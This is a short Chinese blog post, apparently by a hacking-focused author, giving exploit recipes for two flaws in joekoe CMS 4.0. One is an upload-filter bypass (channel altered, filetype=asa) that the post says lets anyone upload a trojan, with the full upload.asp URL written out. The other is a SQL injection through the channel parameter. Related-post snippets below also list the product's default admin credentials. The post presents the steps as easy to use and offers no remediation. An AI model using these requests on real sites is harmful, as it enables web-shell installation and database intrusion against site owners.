乔客(joekoe) CMS 4.0 的2个高危漏洞

HackCode HackCode 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 800+累计阅读 884平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄18年
关注
原创 最新推荐文章于 2026-04-14 09:10:36 发布 884 阅读 AI 写同款· GEO 优化 ›
国内各种主流CMS系统的比较和汇总   国内各种主流CMS系统的比较和汇总  CMS(Content Management System),中文叫网站内容管理系统,大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，但没有好的程序支持，还继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站。只要你配置安装好，你的编 阅读详情
 1 .上传漏洞：很好利用，把channel变量改一下，只要不等于forum、user.face、blog.logo就行，然后filetype改成asa,就可以光明正大的上传木马了，具体url可以这样common/upload.asp?channel=use2&filetype=asa&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=然后上传[PS：要登陆验证]

2. SQL注入漏洞：在Channel变量中加入诸如语句，比如：common/upload.asp?channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbname=&thumbinput=

然后上传，就会报错
标签
#cms #sql #url
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
乔客joekoe+cms+4.0+access+烽火门户版(官方原装商业版) 经典的乔客程序，非常好的整站系统。 演示地址：http://www.joekoe.com/ 安装说明： 乔客Joekoe CMS 4.0 ACCESS 烽火门户版(官方原装商业版) 版本说明 此版本已为最新版本(包含Release和Patch1的更新) 版本最后更新时间为 2007-2-6 6:00:00 安装方法 只需将此目录中的所有文件夹及文件上传至网站根目录并执行安装即可正常运行测试 立即下载

相关推荐

乔客CMS安装教程详解

本教程详细的介绍了乔客CMS系统的安装步骤。

Joekoe 4.0 CMS 免费版本最基本的修改方法和地方汇总(快速修改成自己的站)

  Joekoe 4.0 CMS 免费版本最基本的修改方法和地方汇总(快速修改成自己的站) 一,怎么删除或关闭不要的栏目？skin/default/header.html里面去掉菜单然后把

楚雄的专栏 2270

搜酷天堂全站(乔客修改)

Joekoe V6 Free 免费版 兰色魅力 3.2 带商城加强修改版

十款ASP CMS建站系统源码

一：动易 http://www.powereasy.net/动易无疑是ASPCMS系统中的老大哥了，国内著名的站长综合网站“网页吧”采用的也是这套系统，这套国产AspCMS是一套非常强大的且人性话系统，一路走来，动易不断完善，而且也不断加强功能，包括个人版，学校版，政府版，企业版，后台包括的功能，信息发布，类别管理，权限控制，信息采集，而且跟第三方的程序，比如论坛，商城， blog可以完美结合，基

lsprolove的小屋 4202

乔客Joekoe CMS v4.0 Beta 2

安装方法 只需将此目录中的所有文件夹及文件上传至网站根目录即可正常运行测试 管理信息 假设您的测试网址是: http://www.testdomain.com/ 那么测试网站的后台管理地址为: http://www.testdomain.com/admin/ 管理员为:admin,登陆密码为:joekoe JoekoeCMSv4.0作为乔客CMS系列的又一开源产品，结合了以前各版本的长处，采用了全新的核心，全新的模板机制，使得模板的替换，功能的增删变得更加的方便 以下功能及模块未包含在此Alpha中 商城多支付网关 拍卖及多用户商城 个人门户 采集功能 v4.0Beta2更新： 改进Include目录下一段获取远程文件信息的代码，避免卡巴斯基误警

乔客Joekoe CMS 4.0.rar

乔客Joekoe CMS 4.0给您带来一个经过完善的设计，在会员互动及安全方面有独特创新性的系统，适用于Windows NT服务环境下的的Web站点或商务平台的最佳解决方案。它精心设计的架构与功能机制，从个人到企业各方面应用的要求，为你提供一个安全、稳定、高效而快捷的Web站点和一体化的商务平台解决方案。 <br /> 乔客Joekoe CMS 4.0可以带给您 创建基于模板和数据库的Web站点及商务平台 完善的货币结算体系轻松实现网站会员互动 让非技术的工作人员独立地、容易地更新站点 方便维护站点信息，让站点创作队伍协同工作 安全稳定的系统架构可以让您的团队高枕无忧 安装方法: 只需将此目录中的所有文件夹及文件上传至网站根目录并执行安装即可正常运行测试 假设您的网址是: http://www.***.com/ 那么网站的安装地址为: http://www.***.com/install.asp (安装后请及时删除该文件) 那么网站的后台管理地址为: http://www.***.com/admin/ 管理员为: admin, 登陆密码为: joekoe

乔客4.0支持中心的内容修改方法

 找到common/channel/support/里面修改相关文件 (*.xcml )修改“关于我们”的内容需进入 faq.about.xcml 文件修改修改“联系方式”的内容需进入 faq.contact.xcml文件修改修改“网站介绍”的内容需进入 faq.dict.xcml文件修改修改“帮助”的内容需进入 faq.help.xcml 文件修改修改“购买指南”的内容需

楚雄的专栏 971

淘特网新闻管理系统CMS v5.1

首先将本系统的压缩文件解压，假如解压后的目录名为totnews,下面介绍两种安装方式。 一、虚拟主机的用户 一般解压后你需要将本系统中的所有文件上传到服务器上，假使你的服务器的WEB根目录是wwwroot, 这时你只需要将totnews中的所有文件夹、文件上传至wwwroot下面即可。上传后的目录为 /wwwroot └ad └admin └index.htm ..... 此时你不需要做任何配置即可使用系统了。 注：因为系统默认系统的域名为http://localhost,所以你要修改一下inc目录下的config.asp，将其中的\nConstSiteUrl='http://localhost'修改\u4e3aConstSiteUrl='\u4f60\u7684\u7f51\u7ad9\u57df\u540d\u5373\u53ef' 默认管理地址：http://你的域名/admin/ 用户名：admins密码：admins 注：为了安全起见，请将后台管理目录名修改一个复杂的名字，同时修改你的密码。 二、在本地调试程序的用户。 假如你将本系统解压到C:\totnews 修改你的IIS， 方法： 我的电脑->控制面板->管理工具->双击'Internet服务管理器'->右击“默认Web站点'->主目录->本地路径：设为C:\totnews就可以了。 三、如果你希望建立虚拟目录来调试程序，本系统inc目录下已经自带了配置演示文件：config(事例).asp 注：此配置文件是假设你以totcms为虚拟目录安装淘特CMS系统的，如果你使用的是其它名称，只需将config(事例).asp中的totcms换成 你的虚拟目录名称就可以了。 'Tot-CMs5.1更新说明 1、增加(DIV效果文本列表)标签，精简了生成代码 2、修改系统自带文章列表、详细页面模板的搜索字段名字出错问题 3、文章列表发布采用li生成样式，即方便控制样式，又利于SEO(搜索引擎优化) 4、添加标签时，标题前缀提供系统变量：auto,它可以负责在每行标题前自动加上数字1,2,...N 5、解决后台在IE7下显示的问题 6、增加站点地图生成功能，发布生成支持googlesitemap协议的xml文件。 7、增加其它CMS数据导入模块(直现将动易、风讯、新云、乔客、创力CMS中数据导入到淘特CMS中，完成全站转移)。其它CMS及相关产品的导入不断更新中，同时欢迎广大asp好手不断更新增加。 8、论坛将做为单独系统提供，如果需要请到官方下载。 'ToT-CMS5.0.3更新说明 1、修改图文标签2出现的链接错误的问题 2、修改'ALL'标签出现的标题前缀消失的问题 3、多维图文标签增加调用全部栏目数据的功能 4、系统自带文章显示页面模板修改为DIV左右分列，加快客户端浏览速度 5、修改投票、广告删除后JS文件仍存在的问题 6、修改标签缩略图样式，更加容易理解直观。 7、修改论坛在线人数统计取消数据存在内存，而改为数据库。 8、修改论坛分类添加出错的BUG

ASP开源CMS汇总

CMS(Content Management System)，译为网站内容管理系统，大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，如果没有好的程序支持， 继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站，甚 至是使用采集功能，大批量添加数据。只要你配置安装好，你的编辑，...

ytakcc的专栏 208

乔客建站专家 Joekoe CMS v5.0 RC build 20222

Joekoe CMS 5.0 给您带来一个经过完善的设计，在会员互动及安全方面有独特创新性的系统，适用于Windows NT服务环境下的的Web站点或商务平台的最佳解决方案。它精心设计的架构与功能机制，从个人到企业各方面应用的多种要求，为你提供一个安全、稳定、高效而快捷的Web站点和一体化的商务平台解决方案。

HCIA重点知识

华为认证ICT工程师，是华为认证体系中用于标识个人能力在某一技术领域达到工程师级别的证明，表示通过认证的人员具备安装、配置、运行 ICT 设备，并进行基础故障排除的能力。抽象语言 -----> 编码 -----> 二进制 -----> 电信号 -----> 处理电信号信号的转换标准：协议，是一种允许电子设备相互交流的一系列标准的规则。即开放系统参考模型OSI/RM，简称“OSI”。OSI参考模型将计算机网络分为七个层次，自上而下依次为：应用层，表示层，会话层，传输层，网络层，数据链路层，物理层。1、应用层：

Awen0201的博客 2542

国内最常用的ASP免费CMS系统大全

    1.动易--这套是国产AspCMS中非常强大的系统，一路走来，动易不断完善，而且也不断加强功能，包括个人版，学校版，政府版，企业版，后台包括的功能，信息发布，类别管理，权限控制，信息采集，而且跟第三方的程序，比如论坛，商城， blog可以完美结合，基本上可以满足一个中大型网站的要求，但Asp和Access的的局限性，还有本身功能Dll的限制，使得免费版差不多成鸡肋。这套系统比较适合非专业人...

qhdzj87的专栏 1236

ROS牛耕法全覆盖规划：从算法原理到清洁机器人实战解析

本文深入解析ROS牛耕法全覆盖规划算法在清洁机器人中的应用，从算法原理到实战优化技巧全面覆盖。详细介绍了地图预处理、区域分解和路径优化等关键步骤，并分享实际案例中的解决方案，帮助开发者提升机器人清扫效率和覆盖率。

weixin_27013291的博客 392

asp八大开源cms比较汇总

CMS(Content Management System)，译为网站内容管理系统，大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，如果没有好的程序支持，继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站，甚至是使用采集功能，大批量添加数据。只要你配置安装好，你的编辑，在线

JH72515的专栏 1342

拖动无标题栏的cef3窗口

拖动嵌入了cef3的无标题栏win32窗口，本质上就是拖动子窗口移动父窗口这么个事情，这个在自己创建窗口的程序上处理非常简单，cef封装较多，想修改的完善点步骤较多。         cef所用版本3.2623。         就用cefclient来做测试工程，首先建议在cefclient_win.cc的RunMain函数中的app = new ClientAppRenderer();前面

loveyong1990的专栏 6161

高杂合度基因组组装实战：Hifiasm参数调优与purge_dups过滤效果对比（附猪毛菜案例）

本文深入探讨了高杂合度基因组组装中Hifiasm参数调优与purge_dups过滤的实战效果对比，通过猪毛菜案例详细解析了两种方法的适用场景与优化策略。文章重点分析了purge_dups在contig过滤中的显著效果，为基因组组装提供了关键的技术参考。

weixin_29232121的博客 495

国内国外主流的CMS

<br /> <br /> <br />    用了好多CMS系统,早就有心想写一个,本贴禀着公平,自由,客观的态度来评价各个主流的CMS产品,<br /> 如果有人写过的，那我就算是汇总和归纳，希望能在让你选择CMS的时候有个比较参照<br /> 纯属一家之言,如果有什么纰漏,错误之处,还请多多指正.<br /><br /> CMS(Content Management System ),中文叫作整站系统、文章系统,大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变

Leoyang_FarAwayFrom的专栏 3733

SAP FICO 银企直联实战：从配置到异常处理的全流程解析

本文详细解析了SAP FICO银企直联的实战配置与异常处理全流程，涵盖银行主数据搭建、支付类配置、银行接口适配等关键步骤。通过实际案例分享，帮助用户掌握实时付款、余额监控和自动对账等核心功能，提升企业财务效率与安全性。特别针对常见问题如凭证重复付款、前置机UUID冲突等提供了实用解决方案。

weixin_29215815的博客 663

ASP中最好的CMS系统的比较和汇总

        CMS(Content Management System)，译为网站内容管理系统，大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，如果没有好的程序支持，继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站，甚至是使用采集功能，大批量添加数据。只要你配置安装好

laotuguai的专栏 6155

光学仿真案例(1) 铌酸锂非线性波导仿真模拟 FDTD仿真

在过去几年里，许多集成光子学应用往往需要多个相干可调谐光源，而且从外部激光器引入额外的光输入增加了芯片封装的复杂性，如果使用基于III-V族、氮化硅（SiN）或铌酸锂（LNO）的集成光源又大大增加了制造复杂性和成本。然而，通过非线性谐波相互作用产生的光源不需要额外的制造工艺来产生增益、反馈和外部电路，即可支持许多应用。在下面的案例中，演示了一种基于Luo[1]的铌酸锂波导频率转换集成系统。该案例主要仿真了利用温度调制实现高效相位匹配的铌酸锂纳米光子波导的二次谐波产生。

q895235273的博客 4145

ASP.NET Core 6 Web API在IIS上的部署与调试

通过以上步骤和配置，你应该能够成功部署并调试你的ASP.NET Core 6 Web API在IIS上。记住，权限和配置是关键，确保你的环境和应用程序代码都正确设置。希望这篇博客对你部署和解决IIS上的问题有所帮助。

m0_74337424的博客 522

CMS系统的比较和汇总

CMS(Content Management System)，译为网站内容管理系统，大概2004以前，如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流，如果没有好的程序支持，继续靠手工完成是不可能的事，如果有一个好的系统来支撑你的网站，那将节省大量的人力物力，开发者就可能给客户一个软件包，可以用它定期人工修改网站，甚至是使用采集功能，大批量添加数据。只要你配置安装好，你的编辑，在线

若男专栏 1297

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料，已经经过了本人的筛选和整理，希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助！

各种CMS的比较

[size=large][/size]作者：blue2004 原贴：http://bbs.chinahtml.com/t8382.html 用了好多CMS系统,早就有心想写一个, 本贴禀着公平,自由,客观的态度来评价各个主流的CMS产品, 如果有人写过的，那我就算是汇总和归纳，希望能在让你选择CMS的时候有个比较参照 纯属一家之言,如果有什么纰漏,错误之处,还请多多指正. ...

Objet 719

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android：LinePhone3.2.7(最新版本)，官网地址：http://www.linphone.org/

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能：商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传，基本资料下载，开钱箱、小票打印、收款结算，支持多币种付款方式（现金、储值卡、礼券、微信等）,支持多种促销。运行环境：.net 4.0登陆信息用户名:1001 密码:123456内置商品信息，商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开
上一篇： 入侵碧聊后台
下一篇： 动网8.0最"新"远程注入漏洞来了
点赞 0
评论 0
书签 书签 1
HackCode
HackCode
博客等级 码龄18年 12粉丝 55原创
+ 关注
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值